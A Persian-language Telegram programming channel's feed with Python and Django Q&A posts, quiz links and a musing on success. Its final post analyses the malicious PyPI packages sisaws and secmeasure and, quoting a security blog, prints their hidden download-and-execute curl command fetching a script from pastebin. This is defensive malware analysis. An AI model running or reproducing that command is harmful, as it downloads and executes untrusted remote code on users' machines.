تا حالا فکر کردی لغو کردن یک coroutine توی asyncio چطوری میتونه امن باشه؟ 🤔
در پایتون وقتی یک coroutine رو داخل asyncio لغو میکنیم، اگه درست مدیریت نشه، استثناهایی مثل CancelledError میتونن از کنترل خارج بشن و باعث خطاهای پیشبینینشده در برنامه بشن. برای همین لازمه بدونیم چطور میشه لغوش کرد بدون اینکه exception نشت کنه.
🌌 @the_code_Verse 🪐
در پایتون وقتی یک coroutine رو داخل asyncio لغو میکنیم، اگه درست مدیریت نشه، استثناهایی مثل CancelledError میتونن از کنترل خارج بشن و باعث خطاهای پیشبینینشده در برنامه بشن. برای همین لازمه بدونیم چطور میشه لغوش کرد بدون اینکه exception نشت کنه.
🌌 @the_code_Verse 🪐
❤2👎1
Code Verse
تا حالا فکر کردی لغو کردن یک coroutine توی asyncio چطوری میتونه امن باشه؟ 🤔 در پایتون وقتی یک coroutine رو داخل asyncio لغو میکنیم، اگه درست مدیریت نشه، استثناهایی مثل CancelledError میتونن از کنترل خارج بشن و باعث خطاهای پیشبینینشده در برنامه بشن. برای…
cancel_coroutine.pdf
370.2 KB
جواب سوال ۵ پایتون
تعداد صفحه: ۴
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۴
کلید واژهها:
coroutine, asyncio, worker, event loop, create_task, wait_for, TimeoutError, CancelledError, asyncio.shield, aiohttp#answer #python
🌌 @the_code_Verse 🪐
❤2👍1👎1
Code Verse via @QuizBot
🎲 Quiz 'Weak 2'
Context manager, Cancel Coroutine, metaclass vs decorator
🖊 10 questions · ⏱ 1 min
Context manager, Cancel Coroutine, metaclass vs decorator
🖊 10 questions · ⏱ 1 min
موفقیت چیه؟ فقط یه کلمه ساختهی بشره یا واقعا معنای عمیقتری داره؟
برای بعضیا موفقیت یعنی پادشاه شدن، برای بعضیا یعنی پیج اینستاگرام با یک میلیون فالور، یا حتی جمع کردن ثروت یا نزدیک شدن به خدا.
اما اگه به گذشته نگاه کنیم، همیشه یک چیز مشترک بوده: موفقیت معمولا هممعنی قدرت بوده. قدیما قدرت یعنی حکومت، امروز ممکنه قدرت یعنی پول یا حتی نفوذ اجتماعی.
پس شاید معنی موفقیت عوض نشده، فقط شکلش فرق کرده.
شاید موفقیت چیزی نباشه جز اختراعی از ذهن بشر برای اینکه پوچی رو فراموش کنه و به زندگی معنا بده.
فقط یه چیز میشه گفت موفقیت یکی از نیازهای اساسی بشر هستش.
آخر موفقیت چیه؟
#code_break #philosophy #success
🌌 @the_code_Verse 🪐
برای بعضیا موفقیت یعنی پادشاه شدن، برای بعضیا یعنی پیج اینستاگرام با یک میلیون فالور، یا حتی جمع کردن ثروت یا نزدیک شدن به خدا.
اما اگه به گذشته نگاه کنیم، همیشه یک چیز مشترک بوده: موفقیت معمولا هممعنی قدرت بوده. قدیما قدرت یعنی حکومت، امروز ممکنه قدرت یعنی پول یا حتی نفوذ اجتماعی.
پس شاید معنی موفقیت عوض نشده، فقط شکلش فرق کرده.
شاید موفقیت چیزی نباشه جز اختراعی از ذهن بشر برای اینکه پوچی رو فراموش کنه و به زندگی معنا بده.
فقط یه چیز میشه گفت موفقیت یکی از نیازهای اساسی بشر هستش.
آخر موفقیت چیه؟
#code_break #philosophy #success
🌌 @the_code_Verse 🪐
👍5👎1
5. چگونه میتوان یک custom authentication backend در Django پیادهسازی کرد؟
#question #django
🌌 @the_code_Verse 🪐
#question #django
🌌 @the_code_Verse 🪐
تا حالا به این فکر کردی که توی Django چطور میشه ورود کاربر رو کاملاً شخصیسازی کرد؟ 🔐
داخل Django به طور پیشفرض سیستم احراز هویت خودش رو داره، اما وقتی بخوای کاربرها رو مثلاً با ایمیل، موبایل یا شرایط خاص سازمانی لاگین بدی، باید یک custom authentication backend بنویسی تا روند ورود دقیقاً مطابق نیازت عمل کنه.
🌌 @the_code_Verse 🪐
داخل Django به طور پیشفرض سیستم احراز هویت خودش رو داره، اما وقتی بخوای کاربرها رو مثلاً با ایمیل، موبایل یا شرایط خاص سازمانی لاگین بدی، باید یک custom authentication backend بنویسی تا روند ورود دقیقاً مطابق نیازت عمل کنه.
🌌 @the_code_Verse 🪐
👎1
Code Verse
تا حالا به این فکر کردی که توی Django چطور میشه ورود کاربر رو کاملاً شخصیسازی کرد؟ 🔐 داخل Django به طور پیشفرض سیستم احراز هویت خودش رو داره، اما وقتی بخوای کاربرها رو مثلاً با ایمیل، موبایل یا شرایط خاص سازمانی لاگین بدی، باید یک custom authentication…
custom_authentication_backend.pdf
342.6 KB
جواب سوال ۵ جنگو
تعداد صفحه: ۳
کلید واژهها:
#answer #django
🌌 @the_code_Verse 🪐
تعداد صفحه: ۳
کلید واژهها:
authentication backend, AUTHENTICATION_BACKENDS, check_password, Django-allauth#answer #django
🌌 @the_code_Verse 🪐
❤5👍3👎1
6. یک descriptor بساز که مقدار attribute را ذخیره کند، اما اگر مقدار تکراری وارد شود، خطا بدهد و cache هر instance را جدا نگه دارد.
#question #python
🌌 @the_code_Verse 🪐
#question #python
🌌 @the_code_Verse 🪐
👍2👎1
تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍
گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو بهطور جداگانه نگه داره تا با بقیه قاطی نشه.
🌌 @the_code_Verse 🪐
گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو بهطور جداگانه نگه داره تا با بقیه قاطی نشه.
🌌 @the_code_Verse 🪐
❤2👎1
Code Verse
تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍 گاهی وقتها میخوایم کنترل بیشتری روی ویژگیهای کلاس داشته باشیم. با descriptor میشه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache…
custom_descriptor.pdf
386.6 KB
جواب سوال ۶ پایتون
تعداد صفحه: ۷
کلید واژهها:
#answer #python
🌌 @the_code_Verse 🪐
تعداد صفحه: ۷
کلید واژهها:
descriptor, __get__, __set__, __delete__, data descriptor, non-data descriptor, cls.__dict__, obj.__dict__, lookup in instance.attr #answer #python
🌌 @the_code_Verse 🪐
❤2👎1
6. تفاوت
#question #django
🌌 @the_code_Verse 🪐
get_queryset() و get_context_data() در class-based views چیست و هر کدام چه نقشی دارند؟#question #django
🌌 @the_code_Verse 🪐
❤4
میدونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری میکنن؟ 🤔⚡️
در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه میکنه. تفاوت این دو در اینه که یکی مسئول تأمین دادهی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.
🌌 @the_code_Verse 🪐
در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه میکنه. تفاوت این دو در اینه که یکی مسئول تأمین دادهی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.
🌌 @the_code_Verse 🪐
❤3👍1👎1
Code Verse
میدونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری میکنن؟ 🤔⚡️ در class-based views دو متد مهم داریم: get_queryset() که دادههای اصلی رو برای نمایش برمیگردونه، و get_context_data() که متغیرها و دادههای جانبی رو به قالب اضافه…
get_query_set_vs_get_context_data.pdf
295.5 KB
جواب سوال ۶ جنگو
تعداد صفحه: ۲
کلید واژهها:
#answer #django
🌌 @the_code_Verse 🪐
تعداد صفحه: ۲
کلید واژهها:
get_queryset, MultipleObjectMixin, SingleObjectMixin, get_context_data, ContextMixin#answer #django
🌌 @the_code_Verse 🪐
❤2
دوتا کتابخونه sisaws و secmeasure که هکرها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد
If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.
curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py
نکته:به هیچوجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.
کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.
#python #malware #code_analysis
🌌 @the_code_Verse 🪐
❤4